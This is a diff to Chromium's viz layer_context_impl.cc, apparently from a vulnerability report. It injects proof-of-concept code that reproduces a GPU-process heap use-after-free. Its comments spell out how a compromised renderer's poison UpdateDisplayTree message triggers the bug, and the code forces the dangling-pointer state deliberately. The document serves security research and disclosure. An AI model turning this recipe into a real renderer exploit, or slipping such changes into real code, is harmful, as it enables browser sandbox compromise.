diff --git a/components/viz/service/layers/layer_context_impl.cc b/components/viz/service/layers/layer_context_impl.cc index 6bca6cb126f85..eaccd37818fa0 100644 --- a/components/viz/service/layers/layer_context_impl.cc +++ b/components/viz/service/layers/layer_context_impl.cc @@ -74,8 +74,10 @@ cc::LayerTreeSettings GetDisplayTreeSettings( settings.use_layer_lists = true; settings.trees_in_viz_in_viz_process = true; settings.display_tree_draw_mode_is_gpu = remote_settings->draw_mode_is_gpu; - settings.enable_early_damage_check = - remote_settings->enable_early_damage_check; + // ==== POC force off so WillBeginImplFrame doesn't run + // UpdateDrawProperties at LTHI:3835-3838. A compromised renderer sets + // remote_settings->enable_early_damage_check = false to achieve this. + settings.enable_early_damage_check = false; settings.damaged_frame_limit = remote_settings->damaged_frame_limit; settings.scrollbar_animator = remote_settings->scrollbar_animator; settings.scrollbar_fade_delay = remote_settings->scrollbar_fade_delay; @@ -1571,12 +1573,113 @@ LayerContextImpl::~LayerContextImpl() { void LayerContextImpl::BeginFrame(const BeginFrameArgs& args) { if (base::FeatureList::IsEnabled(features::kTreeAnimationsInViz)) { + // ======================================================================== + // POC GPU-process UAF via render_surface_list_ dangling + // pointers after EffectTree::RemoveNodes on DoUpdateDisplayTree error-abort + // + // This injection simulates EXACTLY what a compromised renderer achieves by + // sending the "poison" UpdateDisplayTree mojom message described in the + // vulnerability report: + // + // poison.num_effect_nodes = --> ResizePropertyTree shrinks + // poison.transform_tree_update.page_scale_factor = NaN --> validation fail + // + // What DoUpdateDisplayTree does with that poison (LCI:1825-1843): + // 1. ResizePropertyTree(effect_tree, num_effect_nodes) [LCI:1825-1826] + // -> EffectTree::RemoveNodes(n) [property_tree.cc:1160-1163] + // -> render_surfaces_.resize(size - n) + // -> trailing unique_ptr destructors run + // -> ** RenderSurfaceImpl objects HEAP-FREED ** + // 2. UpdateTransformTreeProperties(...) [LCI:1839-1843] + // -> page_scale_factor is NaN -> base::unexpected("Invalid...") + // -> ASSIGN_OR_RETURN propagates -> DoUpdateDisplayTree returns error + // 3. set_needs_update_draw_properties() at LCI:2102/2114 NEVER REACHED + // + // We replicate that exact state mutation here (free + NO dirty-flag), then + // let the normal vsync-driven draw proceed below. Because + // needs_update_draw_properties_ stays FALSE, UpdateDrawProperties() + // early-returns (layer_tree_impl.cc:1789-1790) and render_surface_list_ + // is NOT cleared (line 1806 unreached). DamageTracker then iterates the + // dangling list at damage_tracker.cc:169-171. + // + // POC guard: DUMP_WILL_BE_CHECK(CanDraw()) at line ~2163 is FATAL in this + // non-official build (is_official_build=false in args.gn). The report + // assumes official builds where it merely dumps. We emulate official-build + // behaviour by skipping draws when CanDraw is false. A real attacker waits + // for the first OnBeginFrame IPC (repro step 5) which proves the tree is + // drawable, so this is faithful to the attack model. + // ======================================================================== + if (!host_impl_->CanDraw()) { + compositor_sink_->SetLayerContextWantsBeginFrames(false); + return; + } + + cc::LayerTreeImpl& poc_layers = *host_impl_->active_tree(); + cc::EffectTree& poc_effect = + poc_layers.property_trees()->effect_tree_mutable(); + const size_t poc_et_size = poc_effect.size(); + const bool poc_needs_update = poc_layers.needs_update_draw_properties(); + + static bool poc_armed = true; + LOG(ERROR) << "[POC-UAF] BeginFrame[" << static_cast(this) + << "]: effect_tree.size=" << poc_et_size + << " needs_update_draw_properties=" << poc_needs_update + << " armed=" << poc_armed; + + // Precondition for triggering: a previous draw populated + // render_surface_list_ (proven by needs_update == false; that flag is only + // cleared inside UpdateDrawProperties at layer_tree_impl.cc:1796 right + // before render_surface_list_ is rebuilt). We require >8 effect nodes to + // distinguish the poc.html LayerContext (16 CSS surfaces) from the browser + // UI's smaller tree. + if (poc_armed && !poc_needs_update && poc_et_size > 8) { + poc_armed = false; + const size_t poc_remove = poc_et_size - 2; + LOG(ERROR) + << "[POC-UAF] *** INJECTING POISON *** " + << "Simulating compromised-renderer ResizePropertyTree(effect_tree, " + << "2). Calling EffectTree::RemoveNodes(" << poc_remove + << ") -- this FREES " << poc_remove + << " unique_ptr via render_surfaces_.resize()."; + + // ==== THE FREE ==== + // Exactly what ResizePropertyTree(effect_tree, 2) does at LCI:476: + // tree.RemoveNodes(tree.nodes().size() - 2) + // -> property_tree.cc:1162: render_surfaces_.resize(size - n) + // -> std::unique_ptr destructors fire for all + // indices >= 2. render_surface_list_ still holds the raw pointers. + poc_effect.RemoveNodes(poc_remove); + + // ==== THE BUG: deliberately NOT calling + // poc_layers.set_needs_update_draw_properties() + // because on the real error-abort path that line (LCI:2102 / LCI:2114) + // is never reached. ==== + + LOG(ERROR) + << "[POC-UAF] After RemoveNodes: effect_tree.size=" + << poc_effect.size() << " needs_update_draw_properties=" + << poc_layers.needs_update_draw_properties() + << " -- proceeding to DoDrawInternal. EXPECTING ASAN " + "heap-use-after-free in DamageTracker::" + "InitializeUpdateDamageTracking (damage_tracker.cc:169-171)."; + } + // ======================================================================== + compositor_sink_->SetLayerContextWantsBeginFrames(false); // TODO(zmo): The stage breakdown var is |start_update_display_tree|. // Consider using a difference name, so it works for TreeAnimationsInViz // mode as well. base::TimeTicks start_begin_frame = base::TimeTicks::Now(); DoDrawInternal(args, start_begin_frame); + + // POC: Re-arm begin frames so vsync 2 fires after vsync 1's successful + // draw. A compromised renderer achieves this via SetNeedsBeginFrame(true) + // on the primary CompositorFrameSink interface (CFSS.cc:600-604), which + // sets client_needs_begin_frame_=true and survives the AssociatedReceiver + // reset done by ReportBadMessage. + if (poc_armed) { + compositor_sink_->SetLayerContextWantsBeginFrames(true); + } } }